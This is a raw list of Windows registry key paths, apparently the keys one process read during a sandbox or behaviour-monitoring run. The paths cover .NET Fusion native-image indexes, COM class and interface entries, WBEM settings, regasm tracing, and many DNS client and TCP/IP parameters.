HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{4991D34B-80A1-4291-83B6-3328366B9097}\(Default) HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{69AD4AEE-51BE-439B-A92C-86AE490E8B30}\(Default) HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tasks\{B0C32C86-F054-4CC3-8884-E57AA9DA7B69}\Triggers HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tasks\{49BBA3EF-3AB3-47C2-9DF5-3C494967DA83}\Hash HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tasks\{49BBA3EF-3AB3-47C2-9DF5-3C494967DA83}\DynamicInfo HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Rpc\SecurityService\DefaultAuthLevel HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\1c22df2f\4f99a7c9\2e\DisplayName HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\1c22df2f\4f99a7c9\2e\ConfigMask HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\1c22df2f\4f99a7c9\2e\ConfigString HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\1c22df2f\4f99a7c9\2e\MVID HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\1c22df2f\4f99a7c9\2e\EvalationData HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\1c22df2f\4f99a7c9\2e\Status HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\1c22df2f\4f99a7c9\2e\ILDependencies HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\1c22df2f\4f99a7c9\2e\NIDependencies HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\1c22df2f\4f99a7c9\2e\MissingDependencies HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\f6e8397\46ad0879\6f\DisplayName HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\f6e8397\46ad0879\6f\Status HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\f6e8397\46ad0879\6f\Modules HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\f6e8397\46ad0879\6f\SIG HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\f6e8397\46ad0879\6f\LastModTime HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\2b1a4e4\38a3212c\44\DisplayName HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\2b1a4e4\38a3212c\44\Status HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\2b1a4e4\38a3212c\44\Modules HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\2b1a4e4\38a3212c\44\SIG HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\2b1a4e4\38a3212c\44\LastModTime HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\24bf93f6\455bab30\6e\DisplayName HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\24bf93f6\455bab30\6e\Status HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\24bf93f6\455bab30\6e\Modules HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\24bf93f6\455bab30\6e\SIG HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\24bf93f6\455bab30\6e\LastModTime HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\4f99a7c9\53bea2b0\2e\DisplayName HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\4f99a7c9\53bea2b0\2e\Status HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\4f99a7c9\53bea2b0\2e\Modules HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\4f99a7c9\53bea2b0\2e\SIG HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\4f99a7c9\53bea2b0\2e\LastModTime HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\GACChangeNotification\Default\Microsoft.VisualBasic,8.0.0.0,,b03f5f7f11d50a3a,MSIL HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\GACChangeNotification\Default\System.Web,2.0.0.0,,b03f5f7f11d50a3a,x86 HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\GACChangeNotification\Default\System.Management,2.0.0.0,,b03f5f7f11d50a3a,MSIL HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\GACChangeNotification\Default\System.Runtime.Remoting,2.0.0.0,,b77a5c561934e089,MSIL HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Lsa\FipsAlgorithmPolicy\Enabled HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Lsa\FipsAlgorithmPolicy HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\OLE\AppCompat\RaiseDefaultAuthnLevel HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\OLE\DefaultAccessPermission HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Wow6432Node\Interface\{00000134-0000-0000-C000-000000000046}\ProxyStubClsid32\(Default) HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Rpc\Extensions\NdrOleExtDLL HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Rpc\Extensions\RemoteRpcDll HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SQMClient\Windows\DisabledProcesses\1DF4D951 HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SQMClient\Windows\DisabledSessions\MachineThrottling HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SQMClient\Windows\DisabledSessions\GlobalSession HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WINMGMTS\CLSID\(Default) HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\WBEM\Scripting\Default Namespace HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\Tcpip\Parameters\Hostname HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\Tcpip\Parameters\Domain HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Wow6432Node\Interface\{D4781CD6-E5D3-44DF-AD94-930EFE48A887}\ProxyStubClsid32\(Default) HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Nls\CustomLocale\it HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Nls\ExtendedLocale\it HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Wow6432Node\Interface\{9556DC99-828C-11CF-A37E-00AA003240C7}\ProxyStubClsid32\(Default) HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{D68AF00A-29CB-43FA-8504-CE99A996D9EA}\(Default) HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{D68AF00A-29CB-43FA-8504-CE99A996D9EA}\InprocServer32\InprocServer32 HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{D68AF00A-29CB-43FA-8504-CE99A996D9EA}\InprocServer32\(Default) HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{D68AF00A-29CB-43FA-8504-CE99A996D9EA}\InprocServer32\ThreadingModel HKEY_LOCAL_MACHINE\SOFTWARE\Classes\TypeLib\{565783C6-CB41-11D1-8B02-00600806D9B6}\1.2\0\win32\(Default) HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Nls\CustomLocale\en-US HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Nls\ExtendedLocale\en-US HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Wow6432Node\Interface\{027947E1-D731-11CE-A357-000000000001}\ProxyStubClsid32\(Default) HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{1B1CAD8C-2DAB-11D2-B604-00104B703EFD}\(Default) HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{1B1CAD8C-2DAB-11D2-B604-00104B703EFD}\InprocServer32\InprocServer32 HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{1B1CAD8C-2DAB-11D2-B604-00104B703EFD}\InprocServer32\(Default) HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{1B1CAD8C-2DAB-11D2-B604-00104B703EFD}\InprocServer32\ThreadingModel HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Wow6432Node\Interface\{1C1C45EE-4395-11D2-B60B-00104B703EFD}\ProxyStubClsid32\(Default) HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Wow6432Node\Interface\{423EC01E-2E35-11D2-B604-00104B703EFD}\ProxyStubClsid32\(Default) HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\109d7e79\357ee49a\44\DisplayName HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\109d7e79\357ee49a\44\ConfigMask HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\109d7e79\357ee49a\44\ConfigString HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\109d7e79\357ee49a\44\MVID HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\109d7e79\357ee49a\44\EvalationData HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\109d7e79\357ee49a\44\Status HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\109d7e79\357ee49a\44\ILDependencies HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\109d7e79\357ee49a\44\NIDependencies HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\109d7e79\357ee49a\44\MissingDependencies HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\3d590c3f\59f3b67b\82\DisplayName HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\3d590c3f\59f3b67b\82\Status HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\3d590c3f\59f3b67b\82\Modules HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\3d590c3f\59f3b67b\82\SIG HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\3d590c3f\59f3b67b\82\LastModTime HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\357ee49a\7d2df0ec\41\DisplayName HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\357ee49a\7d2df0ec\41\Status HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\357ee49a\7d2df0ec\41\Modules HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\357ee49a\7d2df0ec\41\SIG HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\357ee49a\7d2df0ec\41\LastModTime HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\GACChangeNotification\Default\CustomMarshalers,2.0.0.0,,b03f5f7f11d50a3a,x86 HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\GACChangeNotification\Default\Microsoft.VisualC,8.0.0.0,,b03f5f7f11d50a3a,MSIL HKEY_LOCAL_MACHINE\SOFTWARE\Classes\TypeLib\{00020430-0000-0000-C000-000000000046}\2.0\0\win32\(Default) HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\5a8de2c3\2b1a4e4\47\DisplayName HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\5a8de2c3\2b1a4e4\47\ConfigMask HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\5a8de2c3\2b1a4e4\47\ConfigString HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\5a8de2c3\2b1a4e4\47\MVID HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\5a8de2c3\2b1a4e4\47\EvalationData HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\5a8de2c3\2b1a4e4\47\Status HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\5a8de2c3\2b1a4e4\47\ILDependencies HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\5a8de2c3\2b1a4e4\47\NIDependencies HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\5a8de2c3\2b1a4e4\47\MissingDependencies HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\73843e06\43a920ef\66\DisplayName HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\73843e06\43a920ef\66\Status HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\73843e06\43a920ef\66\Modules HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\73843e06\43a920ef\66\SIG HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\73843e06\43a920ef\66\LastModTime HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\141dfd70\6b79efab\43\DisplayName HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\141dfd70\6b79efab\43\Status HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\141dfd70\6b79efab\43\Modules HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\141dfd70\6b79efab\43\SIG HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\141dfd70\6b79efab\43\LastModTime HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\GACChangeNotification\Default\Microsoft.JScript,8.0.0.0,,b03f5f7f11d50a3a,MSIL HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\GACChangeNotification\Default\System.Configuration.Install,2.0.0.0,,b03f5f7f11d50a3a,MSIL HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\COM3\FinalizerActivityBypass HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\WBEM\CIMOM\EnableObjectValidation HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\159a66b8\424bd4d8\87\DisplayName HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\159a66b8\424bd4d8\87\ConfigMask HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\159a66b8\424bd4d8\87\ConfigString HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\159a66b8\424bd4d8\87\MVID HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\159a66b8\424bd4d8\87\EvalationData HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\159a66b8\424bd4d8\87\Status HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\159a66b8\424bd4d8\87\ILDependencies HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\159a66b8\424bd4d8\87\NIDependencies HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\159a66b8\424bd4d8\87\MissingDependencies HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\6faf58\19ab8d57\86\DisplayName HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\6faf58\19ab8d57\86\ConfigMask HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\6faf58\19ab8d57\86\ConfigString HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\6faf58\19ab8d57\86\MVID HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\6faf58\19ab8d57\86\EvalationData HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\6faf58\19ab8d57\86\Status HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\6faf58\19ab8d57\86\ILDependencies HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\6faf58\19ab8d57\86\NIDependencies HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\6faf58\19ab8d57\86\MissingDependencies HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\75638fee\7566cac\84\DisplayName HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\75638fee\7566cac\84\Status HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\75638fee\7566cac\84\Modules HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\75638fee\7566cac\84\SIG HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\75638fee\7566cac\84\LastModTime HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\GACChangeNotification\Default\System.Data.SqlXml,2.0.0.0,,b77a5c561934e089,MSIL HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\InstallationType HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Tracing\EnableConsoleTracing HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Tracing\regasm_RASAPI32\EnableFileTracing HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Tracing\regasm_RASAPI32\FileTracingMask HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Tracing\regasm_RASAPI32\EnableConsoleTracing HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Tracing\regasm_RASAPI32\ConsoleTracingMask HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Tracing\regasm_RASAPI32\MaxFileSize HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Tracing\regasm_RASAPI32\FileDirectory HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\.NET CLR Networking\Performance\Library HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\.NET CLR Networking\Performance\IsMultiInstance HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\.NET CLR Networking\Performance\First Counter HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\.NET CLR Networking\Performance\CategoryOptions HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\.NET CLR Networking\Performance\FileMappingSize HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\.NET CLR Networking\Performance\Counter Names HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows NT\DNSClient\QueryAdapterName HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\Dnscache\Parameters\QueryAdapterName HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\Tcpip\Parameters\DisableAdapterDomainName HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows NT\DNSClient\UseDomainNameDevolution HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\Dnscache\Parameters\UseDomainNameDevolution HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\Tcpip\Parameters\UseDomainNameDevolution HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows NT\DNSClient\DomainNameDevolutionLevel HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\Dnscache\Parameters\DomainNameDevolutionLevel HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows NT\DNSClient\PrioritizeRecordData HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\Dnscache\Parameters\PrioritizeRecordData HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\Tcpip\Parameters\PrioritizeRecordData HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows NT\DNSClient\AllowUnqualifiedQuery HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\Dnscache\Parameters\AllowUnqualifiedQuery HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\Tcpip\Parameters\AllowUnqualifiedQuery HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows NT\DNSClient\AppendToMultiLabelName HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\Dnscache\Parameters\AppendToMultiLabelName HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows NT\DNSClient\ScreenBadTlds HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\Dnscache\Parameters\ScreenBadTlds HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows NT\DNSClient\ScreenUnreachableServers HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\Dnscache\Parameters\ScreenUnreachableServers HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows NT\DNSClient\ScreenDefaultServers HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\Dnscache\Parameters\ScreenDefaultServers HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows NT\DNSClient\DynamicServerQueryOrder HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\Dnscache\Parameters\DynamicServerQueryOrder HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows NT\DNSClient\FilterClusterIp HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\Dnscache\Parameters\FilterClusterIp HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows NT\DNSClient\WaitForNameErrorOnAll HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\Dnscache\Parameters\WaitForNameErrorOnAll HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows NT\DNSClient\UseEdns HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\Dnscache\Parameters\UseEdns HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows NT\DNSClient\DnsSecureNameQueryFallback HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\Dnscache\Parameters\DnsSecureNameQueryFallback HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows NT\DNSClient\EnableDAForAllNetworks HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\Dnscache\Parameters\EnableDAForAllNetworks HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows NT\DNSClient\DirectAccessQueryOrder HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\Dnscache\Parameters\DirectAccessQueryOrder HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows NT\DNSClient\QueryIpMatching HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\Dnscache\Parameters\QueryIpMatching HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows NT\DNSClient\UseHostsFile HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\Dnscache\Parameters\UseHostsFile HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows NT\DNSClient\AddrConfigControl HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\Dnscache\Parameters\AddrConfigControl HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows NT\DNSClient\RegistrationEnabled HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\Dnscache\Parameters\RegistrationEnabled HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\Tcpip\Parameters\DisableDynamicUpdate HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows NT\DNSClient\RegisterPrimaryName HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\Dnscache\Parameters\RegisterPrimaryName HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows NT\DNSClient\RegisterAdapterName HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\Dnscache\Parameters\RegisterAdapterName HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\Tcpip\Parameters\EnableAdapterDomainNameRegistration HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows NT\DNSClient\RegisterReverseLookup HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\Dnscache\Parameters\RegisterReverseLookup HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\Tcpip\Parameters\DisableReverseAddressRegistrations HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows NT\DNSClient\RegisterWanAdapters HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\Dnscache\Parameters\RegisterWanAdapters HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\Tcpip\Parameters\DisableWanDynamicUpdate HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows NT\DNSClient\RegistrationTtl HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\Dnscache\Parameters\RegistrationTtl HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\Tcpip\Parameters\DefaultRegistrationTTL HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows NT\DNSClient\RegistrationRefreshInterval HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\Dnscache\Parameters\RegistrationRefreshInterval HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\Tcpip\Parameters\DefaultRegistrationRefreshInterval HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows NT\DNSClient\RegistrationMaxAddressCount HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\Dnscache\Parameters\RegistrationMaxAddressCount 